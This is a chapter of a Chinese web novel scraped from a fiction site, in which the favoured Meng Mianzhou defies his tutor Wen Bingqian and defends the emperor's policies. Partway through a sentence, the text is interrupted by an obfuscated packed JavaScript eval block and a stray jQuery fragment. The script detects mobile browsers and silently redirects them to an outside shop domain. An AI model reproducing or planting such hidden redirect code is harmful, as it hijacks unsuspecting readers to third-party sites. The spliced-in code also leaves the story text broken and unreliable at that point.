文趣网 > 其他小说 > 摆烂咸鱼揣了卷王暴君的崽 > 12. 第十二章
    掠影来找孟眠洲的时候,孟眠洲已经反客为主,指挥着温秉谦府上的下人找来戏班子,让他们就在温秉谦的院子里,热热闹闹地唱温秉谦最看不上的小曲儿。

    而温秉谦站在一旁,气急败坏,却又无力阻止。

    只要一阻止,孟眠洲就会各种作妖闹事,动不动就威胁他要寻死。

    孟眠洲说自己要去死的时候,眼神很平静,完全不像闹着玩的,而且……

    孟眠洲毕竟是楚寒苍看中的人,温秉谦赌不起,也不敢赌。

    不止如此,这孟眠洲还极擅长睁着眼睛说瞎话。

    比如说,温秉谦只是打了他两次手板心,他就说自己的手肿了,吃不了饭,以后要人喂。

    又比如说,他在平地上装作摔了一跤,起来后就硬说自己的腿失去知觉,再也站不起来了,要人给他做了个带轮子的椅子,日日夜夜推着他走。

    掠影也算是进一步见识到这小祖宗的本事了,招惹不起。

    等戏班子歇了,孟眠洲准备去用午膳了,掠影才趁着这个间隙,上前转告楚寒苍说的那几句话。

    “孟公子,陛下让我转告你,你是否还记得当初和你一同入京的姑娘?那群姑娘和刺杀陛下的的前朝余孽有牵扯,宁可杀过,不能放过,她们都在下一批的处决名单里,你很快就能在城门口再见到她们了。”

    孟眠洲脸色一变,因为有轮椅,这几日,他也让人把他推出过门兜风,他是亲眼目睹了那些挂在城墙上的“前朝余孽”尸体。

    孟眠洲抿住唇:“陛下什么意思?”

    掠影:“孟公子,你倒是运气好,与陛下的心上人长相有几分相似,不然你也会是挂在城墙上的‘前朝余孽’的一员,哪有机会在这里大闹温府?”

    “对了,那姓赵的姑娘的异常,你在上京途中,早就发现了吧?但你就是不说,你……”

    孟眠洲:“够了!你不用再继续说了,我知道陛下的意思了。”

    孟眠洲脸色几番变化,最后露出几分狠厉。

    掠影心道陛下这次可能失策了,孟眠洲连自己的命都不在乎……更何况别人的命呢?

    孟眠洲:“我会如陛下所愿……但口说无凭,还望陛下给我一道圣旨。”

    掠影:?!

    孟眠洲的反应,竟然和楚寒苍预料的所差无几。

    接下来的几日,除了坚持自己腿瘸了,要人用轮椅推着走外,孟眠洲老实了许多,规规矩矩地待在府中,同温秉谦学习治国之道。

    掠影不可思议,楚寒苍却是微微一笑。

    “寡人早说过了,寡人的眠眠,秉性温良,又有分寸。”

    掠影:……

    楚寒苍今日心情也不错,而且,在孟眠洲有关的事情上,他总愿意多说几句。

    “寡人的眠眠心善,但又不愚善。眠眠和她们同行过一段时间,知道她们都是无辜之人,又在途中和她们有了一些交情,算是友人。而若想救她们,只需要跨过自己心头上的那个坎,一念之差罢了,并不算多复杂困难……两相权衡之下,眠眠自然会愿意出手相助。”

    掠影还在思索,贺冲已经感慨道:“孟公子心存仁善,却行事有度,慈而不愚,智而不狂,实乃我辈楷模!陛下慧眼识英才,又知英才秉性,察其本心,用其所长,实乃圣明之君!贤臣遇圣君,我大洲朝兴矣!”

    掠影:…………

    你这个浓眉大眼的家伙!

    楚寒苍笑了笑,“好久没见到眠眠了,今日……”

    ……

    ……

    接了楚寒苍的圣旨,孟眠洲本是愿意跟随温秉谦学习治国安邦之道。

    但孟眠洲学了没几天,就发现这个老登老是在偷偷夹杂私货!逮着机会就说暴君的不是!

    不是批判暴君在行军途中大肆掠夺,强行征粮收地,甚至灭人满门,滥杀无辜,就是在控诉暴君废黜先贤礼法,改用严刑峻法酷吏,动不动就抄家,不然就是暴君与民争利,巧立名目,兴办官营,中饱私囊,不给老百姓留活路……

    这也就算了,这种暴君的传闻,孟眠洲进京路上,没听过一百,也有八十。

    但偏偏,这温秉谦,温大儒还会把事情的经过始末再细细讲一遍,虽然多有主观情绪上的偏颇和贬低,但孟眠洲又不是没学过历史,只需稍作推敲,抽丝剥茧,就还原了事情真相。

    孟眠洲实在是听不下去了,暴君给他的那道圣旨,可是指明了要考教他的学问,要是在考教中,他回答温秉谦教的这些玩意……

    所以,为了不让这些乱七八糟的负面信息污染自己的脑子,孟眠洲做出了一个艰难的决定——

    以后温秉谦上课的时候,他要睡大觉!

    ……

    虽然趴在桌子上睡觉,远不如躺在床上舒服,但或许是温秉谦的课太催眠,孟眠洲竟然觉得自己这一觉睡得格外爽利。

    孟眠洲打了个呵欠,揉了揉眼睛,就看到温秉谦气得发绿的一张老脸。

    “你你你……!”

    孟眠洲:“我要去吃饭了。”

    看着坐在轮椅上的孟眠洲那么理所当然的招呼自己的下人,自己的下人也对他毕恭毕敬,言听计从。

    温秉谦气急攻心,再也忍受不了,抓住孟眠洲的右手,戒尺重重砸下,噼里啪啦打了十几下。

    孟眠洲的掌心泛起红痕,皮肉发胀,隐隐升起火辣辣的疼。

    孟眠洲懵了。

    温秉谦总算找回了点场面,得意起来。

    孟眠洲盯着红肿的掌心发呆。

    自从来到这个世界后,还没有人能够欺负得了他……除了那个狗暴君!

    孟眠洲这下子也来了脾气。

    “温、秉、谦!你算个狗屁的当世第一大儒?”

    “不过是借着读了两本所谓的圣贤破书,便胆大包天,四处散播谣言,歪曲陛下政令,抹黑陛下名声,披着仁义大儒皮囊,行奸佞龌龊小人之事,欺世盗名的伪君子!”

    温秉谦:“放肆!你不要以为陛下看重你,就真的可以为所欲为,目无尊长,肆意诋毁老夫!”

    见温秉谦一幅因被诬陷而愤怒的模样,孟眠洲反而平静下来,面无表情,只嘴角扯出一抹淡淡的冷笑。

    “温秉谦,你说陛下行军途中强行征粮收地,大肆掠夺,甚至灭人满门,滥杀无辜。那我倒要问问你?陛下抢的、杀的都是些什么人?”

    温秉谦:“当然是手无缚鸡的平民百姓……”

    孟眠洲没有打断他,只是漠然地看着他,嘴角讥诮。

    温秉谦的声音却越来越低。

    温秉谦怎么也不相信,他此时竟然从这个名不见经传,整日嘻嘻哈哈、偷奸耍滑的年轻人身上,看到了陛下的影子,给了他莫大的压力。

    等温秉谦不做声了,孟眠洲才淡淡开口:“看来在温大儒眼里,只有那些欺男霸女,鱼肉乡里的地主恶霸和豪强劣绅才是百姓,至于那些流离失所、家破人亡的灾民和难民,都算不作人。”

    温秉谦:“我,我……”

    孟眠洲:“难道不是吗?那些地主乡绅平日里苛收租利,肆意盘剥佃户,战时又囤积居奇,哄抬粮价。多少百

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17754217|209488||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    姓,因为这些人卖的一口高价陈念老粮,被逼着变卖家里的田地,最后妻离子散,骨肉分离,最终走向绝境?”

    “而陛下抢了这些地主乡绅们囤积的粮食,只一半用于军粮,另一半则开仓放粮,分发给饥民,给了他们一条生路。而那些田地,则更是物归原主,尽数还给佃农,让这些可怜人重新拥有了一处安身之所,有了一条活路……这明明是功德无量的仁政善举,但到了你口中,却成了大肆掠夺,滥杀无辜的暴行!”

    温秉谦:“……地主乡绅们也不尽然都是恶人……”

    孟眠洲:“那这些地主乡绅,陛下有每个人都杀吗?哦……我想起来了,那些自愿归顺陛下,主动献粮交地的,在你口中,又变成了见风使舵,投机取巧的势利小人!”

    温秉谦哑口无言。

    孟眠洲:“温秉谦,我再问你,你说陛下废黜了先贤的礼法,改用严刑峻法,动不动就杀头抄家,实乃苛政。”

    温秉谦又有了底气,高声道:“陛下登位不到一年,京城里死了多少人?数都数不清!你昨日出门,没看见城门上挂着的累累尸体?京城里人心惶惶,人人自危,这真是一件好事?”

    孟眠洲笑了,“在过去,贵人们打杀普通百姓,顶多赔偿一笔钱财。但普通百姓呢?别说打杀贵人,哪怕只是言语上不小心冒犯到贵人,就极可能是死路一条。你口中的仁义礼法,只不过是贵人的仁义礼法,在普通百姓身上,从古至今都是严刑峻法,我们陛下所做的,不过是一视同仁。”

    “但……”

    孟眠洲这次抢先道:“噢,我知道了,毕竟在温大儒眼中,只有温大儒这样的达官贵人才是人,普通百姓根本不算人!”

    温秉谦噎住,虽然他方才想说之话,的确是这个意思,但孟眠洲如此直白地指出来,倒真显得他……

    恼羞成怒的温秉谦抢先一步质问道:“那陛下与民争利这事,你又要如何开脱?”

    孟眠洲的语气依旧不急不缓,“那倒要请教温大儒,这个与民争利的民,指的究竟哪个民?”

    “当然是……”

    温秉谦想到孟眠洲先前两问的答案,他喉咙哽住,突然说不下去了。

    孟眠洲继续道:“温大儒,你出生在浔阳温氏,不管是在前朝,还是如今,浔阳温氏,都是数一数二的世家望族。”

    “陛下想要与民争利,官营的盐、铁、茶,哪样是穷苦百姓可以染指的?就算是一般的商贾富户,也碰不得,唯有浔阳温氏这样的世家大族,才有资格参与其中。”

    说到这,孟眠洲顿了一下,目光不偏不倚,直直地盯着温秉苍:“温秉谦,温大儒,你口口声声说自己一介读书人,所求不过是为民请命!但这个‘民’从始至终,都没有那些辛苦劳作的百姓,而只有你,你自己,还有你的家族,和那些与你家族有利益往来的其他世家……我说你是个欺世盗名的伪君子,真的冤枉你了吗?”

    孟眠洲字字诛心,掷地有声,被掀开遮羞布的温秉谦内心震动,脸上红白交加,明明羞愤难当,却又百口莫辩。

    “精彩。”

    脚步声从书斋的门外响起,孟眠洲看到温秉谦神色惊慌,便也下意识回头,然后看到了身穿玄色龙袍,向他缓步走来的楚寒苍。

    温秉谦连忙行礼,孟眠洲却没有从轮椅上站起来的打算,等楚寒苍走到近前,他才把被打红了的手掌心递过去,可怜兮兮地嗲着嗓子道。

    “嘤嘤嘤……陛下,这姓温的欺负妾身!妾身真的好疼呀!求陛下为妾身做主啊呜呜呜……”

    温秉谦:……